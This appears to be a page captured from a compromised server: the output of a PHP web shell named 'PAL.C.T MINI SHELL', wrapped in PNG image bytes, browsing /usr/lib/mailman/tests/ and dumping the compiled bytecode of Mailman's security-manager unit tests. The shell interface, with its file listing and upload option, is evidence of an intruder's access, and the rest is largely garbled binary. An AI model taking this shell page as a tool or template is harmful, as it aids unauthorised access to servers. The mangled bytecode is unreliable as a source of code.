php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/tests/
upload
files >> //usr/lib/mailman/tests/test_security_mgr.pyo

Pc@sWdZddkZddkZddkZddkZyddkZWnej
o
dZnXddklZddk	l
Z
ddk	lZddk	lZddk
lZlZddklZd	Zd
efdYZdefd
YZdefdYZdefdYZdZedjoeiddndS(s*Unit tests for Mailman/SecurityManager.py
iN(tStringIO(tmm_cfg(tUtils(tErrors(tmd5_newtsha_new(tTestBasecCst|iS(N(Rt	hexdigest(t	plaintext((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pytpassword)stTestSecurityManagercBs>eZdZdZdZdZdZdZRS(cCs3|i}||iid||iihdS(N(tassertEqualt_mlisttmod_passwordtNonet	passwords(tselfteq((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_init_vars/s	cCsX|i}|it|iti|iddd|i|itidddS(Nsaperson@dom.ainR	txxXXxxs _xtest+user+aperson--at--dom.ain(s _xtest+user+aperson--at--dom.ainR(RtassertRaisest	TypeErrortAuthContextInfoRtAuthUsertaddNewMemberR(Rtmlist((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_context_info_authuser4s	cCs2|i}d|_|i|itiddS(NtyyYYyys_xtest+moderator(s_xtest+moderatorR(RR
RRRtAuthListModerator(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_context_moderator=s
		cCs2|i}d|_|i|itiddS(NtzzZZzzs_xtest+admin(s_xtest+adminR(RR	RRRt
AuthListAdmin(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_context_adminDs
		cCs2|i}d|_|i|itiddS(NtaaAAaas_xtest+admin(s_xtest+adminR!(RR	RRRt
AuthSiteAdmin(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_context_siteKs
		cCs |i|iidddS(Ntfoo(NN(RRRR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_context_huhRs(t__name__t
__module__RRRR R#R%(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR
.s						tTestAuthenticatecBseZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZRS(cCs7ti|tidddtiddddS(NtbbBBbbt	siteadminitccCCcci(RtsetUpRtset_global_password(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR,Zs
cCsytitiWn/tj
o#}|itijoqFnXytitiWn/tj
o#}|itijoqnXti	|dS(N(
tostunlinkRtSITE_PW_FILEtOSErrorterrnotENOENTtLISTCREATOR_PW_FILERttearDown(Rte((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR5_scCs,|i|iitigdtidS(NR+(RRtAuthenticateRtAuthCreator(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_creatorjscCs,|i|iitigdtidS(Ntxxxxxx(RRR7RR8tUnAuthorized(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_creator_unauthnscCs,|i|iitigdtidS(NR)(RRR7RR"(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_site_adminrscCs,|i|iitigdtidS(NR:(RRR7RR"R;(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_auth_site_admin_unauthvscCs>td|i_|i|iitigdtidS(NtttTTtt(R	RRR7RR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_list_adminzscCs>td|i_|i|iitigdtidS(NR?R:(R	RRR7RRR;(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_list_admin_unauthscCs|i}|i}tdi|_||itigdti||itdtoTtidd|_||iitigdti||itdndS(NtssSSsstrrRRrrtzc(	RRRtdigestR	R7RRtcrypt(RRR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_list_admin_upgrades			cCs|i}|i}tdi|_||itigdti||itdit	oRt	i	dd|_}||iitigdti||i|ndS(NRBR:RCRD(
RRRRER	R7RRR;RF(RRRtcrypted((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_list_admin_oldstyle_unauths			cCs>td|i_|i|iitigdtidS(NtmmMMmm(R	RR
RR7RR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_list_moderatorscCsH|i}|iddd|i|itigddtidS(Nsaperson@dom.ainR	tnosrepa(RRRR7RR(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyt	test_users	cCsE|i}|iddd|iti|itigdddS(Nsaperson@dom.ainR	RLsbperson@dom.ain(RRRRtNotAMemberErrorR7RR(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_wrong_users	cCs?|i}|iddd|it|itigddS(Nsaperson@dom.ainR	RL(RRRtAttributeErrorR7RR(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_no_users	cCsH|i}|iddd|i|itigddtidS(Nsaperson@dom.ainR	RLR:(RRRR7RRR;(RR((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_user_unauths
	cCs&|it|iidgdddS(NtspoogeR:szperson@dom.ain(Rt
ValueErrorRR7(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_value_errors(R&R'R,R5R9R<R=R>R@RARGRIRKRMRORQRRRU(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR(Ys 															t
StripperIOcBseZdZdZRS(sSet-Cookie: cCs>|i|io|t|i}nti||dS(N(t
startswithtHEADtlenRtwrite(Rts((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyRZs(R&R'RXRZ(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyRVstTestWebAuthenticatecBsGeZdZdZdZdZdZdZdZRS(cCsti|tidddtiddd|i}td|_|iddd	t}||i	t
iIJ||i	t
iIJ||i	t
i
IJ||i	t
idIJ|i}|tid
<dS(NR)R*iR+itabcdefgsaperson@dom.ainR	tqqQQqqtHTTP_COOKIE(RR,RR-RR	R
RRVt
MakeCookieRR"RRRtgetvalueR.tenviron(RRtsfptcookie((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR,s
		cCsytitiWn/tj
o#}|itijoqFnXytitiWn/tj
o#}|itijoqnXtid=t	i
|dS(NR_(R.R/RR0R1R2R3R4RbRR5(RR6((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR5s
cCs)|i|iitigdddS(NR:i(RRtWebAuthenticateRR"(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR=scCs)|i|iitigdddS(NR:i(RRReRR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR@scCs)|i|iitigdddS(NR:i(RRReRR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyRKscCs)|i|iitigdddS(NR:i(RRReRR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyRMscCs<|iid|i|iitigddddS(Nsaperson@dom.ainR:i(RtremoveMemberRReRR(R((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyttest_not_a_users(	R&R'R,R5R=R@RKRMRg(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyR\s						cCsRti}|itit|itit|itit|S(N(tunittestt	TestSuitetaddTestt	makeSuiteR
R(R\(tsuite((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyRls
t__main__tdefaultTestRl(t__doc__R.RhR2tCookieRFtImportErrorRRtMailmanRRRt
Mailman.UtilsRRRR	R
R(RVR\RlR&tmain(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/tests/test_security_mgr.pyt<module>s,	+k;		

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`